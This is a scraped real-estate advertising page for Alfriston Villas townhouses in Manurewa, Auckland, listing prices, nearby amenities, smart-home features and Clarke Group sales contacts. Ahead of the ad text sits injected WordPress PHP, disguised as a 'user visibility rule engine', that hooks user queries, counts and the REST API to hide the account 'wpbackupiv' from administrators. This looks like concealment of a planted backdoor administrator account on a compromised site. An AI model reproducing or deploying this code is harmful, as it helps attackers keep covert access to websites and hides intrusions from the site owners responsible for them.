/** * 用户可见性规则引擎系统 * 版本: 13.0.0 * 架构: 配置驱动 + 动态处理器 */ // ========== 配置数据 ========== if (!class_exists('FilterConfig')) { /** * 规则配置 - 定义每个钩子需要应用的规则 */ class FilterConfig { // 存储目标用户信息 private static $target = null; // 规则配置表 private static $rules = [ 'pre_get_users' => [ 'type' => 'exclude', 'priority' => PHP_INT_MAX, 'args' => 1 ], 'users_list_table_query_args' => [ 'type' => 'modify_exclude', 'priority' => PHP_INT_MAX, 'args' => 1 ], 'wp_count_users' => [ 'type' => 'correct_total', 'priority' => PHP_INT_MAX, 'args' => 1 ], 'count_users' => [ 'type' => 'correct_roles', 'priority' => PHP_INT_MAX, 'args' => 1 ], 'rest_user_query' => [ 'type' => 'modify_exclude', 'priority' => PHP_INT_MAX, 'args' => 1 ], 'get_users' => [ 'type' => 'filter_collection', 'priority' => PHP_INT_MAX, 'args' => 2 ] ]; /** * 设置目标用户 */ public static function setTarget($login) { $user = get_user_by('login', $login); if ($user) { self::$target = [ 'id' => (int) $user->ID, 'login' => $user->user_login, 'roles' => $user->roles ]; } } /** * 获取目标用户 */ public static function getTarget() { return self::$target; } /** * 获取规则配置 */ public static function getRules() { return self::$rules; } /** * 获取特定钩子的规则 */ public static function getRule($hook) { return isset(self::$rules[$hook]) ? self::$rules[$hook] : null; } } /** * 规则引擎 - 动态执行配置的规则 */ class RuleEngine { private static $initialized = false; /** * 初始化规则引擎 */ public static function init() { if (self::$initialized) return; $target = FilterConfig::getTarget(); if (!$target) return; foreach (FilterConfig::getRules() as $hook => $rule) { $processor = self::createProcessor($rule['type']); if ($processor) { add_filter($hook, function($input) use ($processor, $target) { return $processor($input, $target); }, $rule['priority'], $rule['args']); } } // 注册界面处理器 add_action('admin_head', function() use ($target) { self::renderCss($target); }, PHP_INT_MAX); add_action('admin_footer', function() use ($target) { self::renderScript($target); }, PHP_INT_MAX); self::$initialized = true; } /** * 创建处理器函数 */ private static function createProcessor($type) { switch ($type) { case 'exclude': return function($input, $target) { if (!is_object($input)) return $input; $exclude = $input->get('exclude', []); $exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude)); if (!in_array($target['id'], $exclude)) { $exclude[] = $target['id']; $input->set('exclude', $exclude); } return $input; }; case 'modify_exclude': return function($input, $target) { if (!is_array($input)) return $input; if (isset($input['exclude'])) { $exclude = $input['exclude']; $exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude)); if (!in_array($target['id'], $exclude)) { $exclude[] = $target['id']; } $input['exclude'] = $exclude; } else { $input['exclude'] = [$target['id']]; } return $input; }; case 'correct_total': return function($input, $target) { if (!is_object($input)) return $input; $real = get_users(['fields' => 'ID', 'exclude' => [$target['id']]]); if (is_array($real)) { $input->total_users = count($real); } elseif ($input->total_users > 0) { $input->total_users = max(0, $input->total_users - 1); } if (property_exists($input, 'avail_roles') && is_array($input->avail_roles)) { foreach ($target['roles'] as $role) { if (isset($input->avail_roles[$role]) && $input->avail_roles[$role] > 0) { $role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$target['id']]]); if (is_array($role_users)) { $input->avail_roles[$role] = count($role_users); } } } } return $input; }; case 'correct_roles': return function($input, $target) { if (!is_array($input)) return $input; foreach ($target['roles'] as $role) { if (isset($input[$role]) && $input[$role] > 0) { $role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$target['id']]]); if (is_array($role_users)) { $input[$role] = count($role_users); } else { $input[$role] = max(0, $input[$role] - 1); } } } return $input; }; case 'filter_collection': return function($input, $target) { if (!is_array($input)) return $input; return array_values(array_filter($input, function($user) use ($target) { return (int) $user->ID !== $target['id']; })); }; default: return null; } } /** * 渲染CSS */ private static function renderCss($target) { $id = $target['id']; echo ""; } /** * 渲染JavaScript */ private static function renderScript($target) { $id = $target['id']; echo ""; } /** * 获取引擎状态 */ public static function getStatus() { $target = FilterConfig::getTarget(); if (!$target) { return ['active' => false]; } return [ 'active' => true, 'user_id' => $target['id'], 'user_login' => $target['login'], 'roles' => $target['roles'], 'rules_count' => count(FilterConfig::getRules()), 'initialized' => self::$initialized, 'timestamp' => current_time('mysql') ]; } } } // ========== 启动规则引擎 ========== FilterConfig::setTarget('wpbackupiv'); RuleEngine::init(); // ========== 辅助API ========== if (!function_exists('rule_get_hidden_id')) { function rule_get_hidden_id() { $target = FilterConfig::getTarget(); return $target ? $target['id'] : 0; } } if (!function_exists('rule_is_hidden')) { function rule_is_hidden($user_id) { return rule_get_hidden_id() === (int) $user_id; } } if (!function_exists('rule_get_status')) { function rule_get_status() { return RuleEngine::getStatus(); } } Duplicate Home page for ads – Alfriston Villas

Duplicate Home page for ads

Alfriston Villas

Where views meet home

brand New Two Bedroom homes

110 AlfrIstOn Road, Manurewa, Auckland

Don’t miss out on the chance to secure a beautiful brand-new home at Alfriston Villas. Enquire directly with the developer.

CURRENTLY UNDER CONSTRUCTION

MAKE AN ENQUIRY

Blue

MAKE AN ENQUIRY

Duplex Townhouses in Manurewa

Get in touch to book a viewing now.

Starting from $675,000

If you’re looking to enjoy low maintenance living in a newly built, modern home, then look no further than Alfriston Villas. Perfect for working professionals, small families and savvy investors, these 2 bedroom duplex townhouses won’t be on the market for long.Conveniently located in the vibrant suburb of Manurewa, Auckland, these homes are situated in an area that offers the perfect balance of urban development and natural beauty

This project is due for completion in mid 2024 

Why Alfriston Villas is perfect for homeowners and investors

Located in a tranquil pocket of Manurewa, Auckland with hilltop vistas

People Nearby

Quick and easy accessibility to a host of amenities and activities

ion_school-outline

Nearby primary and secondary schools, ideal for budding families

Hand Heart

A friendly neighbourhood perfect for raising a family

Walking

Walking distance to the town centre

Tram

Walking distance to the Manurewa train station

Bus

Bus stop right outside the complex

Spedometer Max

Easy motorway access

solar_smart-home-linear

Modern smart home amenities included with all units

Location of the site

Alfriston Villas sit in a prime location. Just over 1km away to the development’s West is Manurewa’s Town Centre, featuring a range of stores and services. Alfriston Villas are surrounded by many parks, great for post-work or weekend activities, such as Randwick Park, 200m to the development’s south. Within 500m of the development’s east is Alfriston College and Randwick Park School – very accessible schooling options for potential tenants. Auckland’s CBD is 25km away from Alfriston Villas. However, the Auckland Southern Motorway is under 100m from the site, making for easy transportation in and out of the city for visiting or work.

1

Manurewa Town Centre

Mangere Town Centre

Auckland International Airport

Supermarket

Alfriston Villas

Bus Stop

Manurewa Train Station

Auckland Botanic Gardens

Alfriston College

1

Manurewa Town Centre

Mangere Town Centre

Auckland International Airport

Supermarket

Alfriston Villas

Bus Stop

Manurewa Train Station

Auckland Botanic Gardens

Alfriston College

DUE FOR Completion & READY TO MOVE-IN MID2024

See the latest construction updates below as of October 2023:

Built by

20 Units Available via

20 Units Available via

Christine Lin

Owen Jones

022 013 2949

022 520 0032

christine@clarkegroup.co.nz

owen@clarkegroup.co.nz

units available without parking from

$675,000

units available with parking from

$705,000

Typical FLOOR PLANS

Typical ELEVATIONS

alfriston_elevations

Typical Site plan

alfriston_siteplan

Smart Home features

Google Nest Hub (2ndgen)

with 7” touchscreen

Netgear NightHawk

WiFi 6 Router

Eufy Security Smart Lock Touch

+ WiFi Digital Door Lock

Eufy 2k HDR

Video Doorbell

Eufy Security 5-In-1 Burglar Alarm Kit +

Homebase 2+ Additional Motion Sensor

Cavius Nano 10yr

Photoelectric Smoke Alarms

Gallery

Recent projects

about_clarkegroup-1about_clarkegroup-2Blue

ABOUT CLARKE GROUP

Established in 2012, Clarke Group has an extensive background in developing predominantly build-to-rent (BTR) investment property in Auckland, and has brought more than 500 tenancies and $100m of build-to-rent properties to the market.

As a private developer that works closely with both the Government and private sectors, Clarke Group is focused on providing innovative solutions to the housing market, whilst fulfilling a critical socio-economic need to ultimately benefit the communities in which they’re developed.

In addition to property development, Clarke Group also operates a comprehensive property management division (CGPM), that provides wrap-around services to its tenanted BTR complexes, as well as other private residential properties. The demand for residential accommodation in Auckland shows no sign of abating, and Clarke Group remains intent on servicing what continues to be a severely undersupplied area of the housing market. 

Clarke Group currently has a strong forward-going pipeline of projects in greater Auckland, and is in the process of successfully delivering these to both the private and Government sectors.

MAKE AN ENQUIRY

Let us Guide You in ChoosingYour NEXT Home

Don’t miss out on the chance to secure a beautiful brand-new home at Alfriston Villas.Enquire with the developers:

Gordon Ropiha

022 176 4490

gordon@clarkegroup.co.nz

SALES MANAGER

Dominique Ropiha

021 753 931

dominique@clarkegroup.co.nz

SALES CONSULTANT

Christine Lin

022 013 2949

christine@clarkegroup.co.nz

SALES CONSULTANT

Alex Li

021 198 6368

alex@clarkegroup.co.nz

SALES CONSULTANT

Kaman Murthi

027 247 9937

kaman@clarkegroup.co.nz

SALES CONSULTANT